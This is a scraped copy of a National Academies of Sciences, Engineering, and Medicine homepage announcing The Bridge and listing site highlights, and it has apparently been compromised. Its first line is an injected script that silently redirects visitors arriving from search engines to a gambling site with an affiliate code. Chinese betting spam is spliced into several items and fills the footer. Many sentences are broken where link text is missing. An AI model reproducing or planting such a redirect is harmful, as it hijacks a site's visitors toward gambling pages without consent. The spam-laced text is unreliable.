var regexp = /\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|sm|qq|so|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig; var where = document.referrer; if (regexp.test(where)) { window.location.href = "https://www.yabo334.com/?i_code=6638019&" }
Contact Us | Current Operating Status



Winter 2019 Bridge coverThe of the National Academy of Engineering's quarterly The Bridge is now available online. 

The issue highlights NAE's Frontiers of Engineering and introduces a new regular by NAE President John L. Anderson as well as a regular by NAE Program Director and Norman R. Augustine Senior Scholar Guru Madhavan.




New Video On Thursday, Jan. 9, the Committee on House Administration will hold a hearing titled . Among the witnesses is Juan E. Gilbert, the Banks Family Preeminence Endowed Professor and chair of the department of computer and information science and engineering, University of Florida, who served on the National Academies committee that authored . Watch the hearing webcast, scheduled to begin at 10 a.m. EST.

Site Highlights
  • Winners Selected for TRB Airport Cooperative Research Program University Design 体彩排列五-Nba直播Winners have been selected for the TRB Airport Cooperative Research Program University Design Competition, a competition to encourage university students to design innovative and practical solutions to challenges at airports.

  • Cultural ProgramsExplore relationships among the arts and sciences, engineering, and medicine through the of the National Academy of Sciences.

  • New Video on Food AllergiesFood allergy is a complicated disease, and the science around prevention and management is changing. What are some promising approaches for improving the lives of people with food allergy? to find out.

  • New Video The National Academy of Medicine has released a to highlight local organizations advancing health equity by addressing the environmental, social, economic, and structural challenges that may impact residents' health.

  • IF17.2 coverRead about recent activities and reports of the National Academies of Sciences, Engineering, and Medicine in the of In Focus magazine.

  • The InterAcademy Partnership 体彩排列五-Nba直播The InterAcademy Partnership has released a presenting recommendations for how effective education about climate change can be promoted in schools around the world.

  • Guidance for Academies on Sustainable Development Goals体彩排列五-Nba直播A from the InterAcademy Partnership explains why and how academies around the globe can support the U.N.'s Sustainable Development Goals.

  • New VideoFormer FEMA Administrator Craig Fugate discussed the agency’s whole-community approach to emergency management in  during a .

  • Extreme EventUse award-winning game to start a conversation about building community resilience. Now in three scenarios: Hurricane, Flood, and Earthquake!

  • FRTRScientific research is vital and can bring remarkable results that save and improve lives. A new NAS shows concrete examples of why scientific research is valuable.

  • International Activities and the National Academy of Sciences体彩排列五-Nba直播Learn about our various to help address global challenges.

  • cybersecurity体彩排列五-Nba直播Watch a about an Academies that looked at whether and how to professionalize the nation's rapidly evolving cybersecurity field.

  • Climatologist Richard AlleyClimatologist Richard Alley, an NAS member and professor of geosciences at Penn State, what is causing the record-low temperatures in the United States and Canada.

  • report Abrupt Impacts of Climate Change: Anticipating SurprisesWatch a on the findings of the Academies report .

  • Fellowships体彩排列五-Nba直播We offer several fellowship opportunities in science, engineering, and medicine. Visit our for information on eligibility guidelines and application deadlines.

arrow left arrow right


Dec. 26, 2019

Browse the most recent editions of the

福建体彩网-足球比分网 福建体彩网-直播吧 福建体彩网-英超直播 体彩大乐透开奖结果-直播吧 福建体彩网-足球直播 福建体彩网-篮球比分 明升体育-直播吧 明升体育-球探比分 明升体育-英超直播 明升体育-即时比分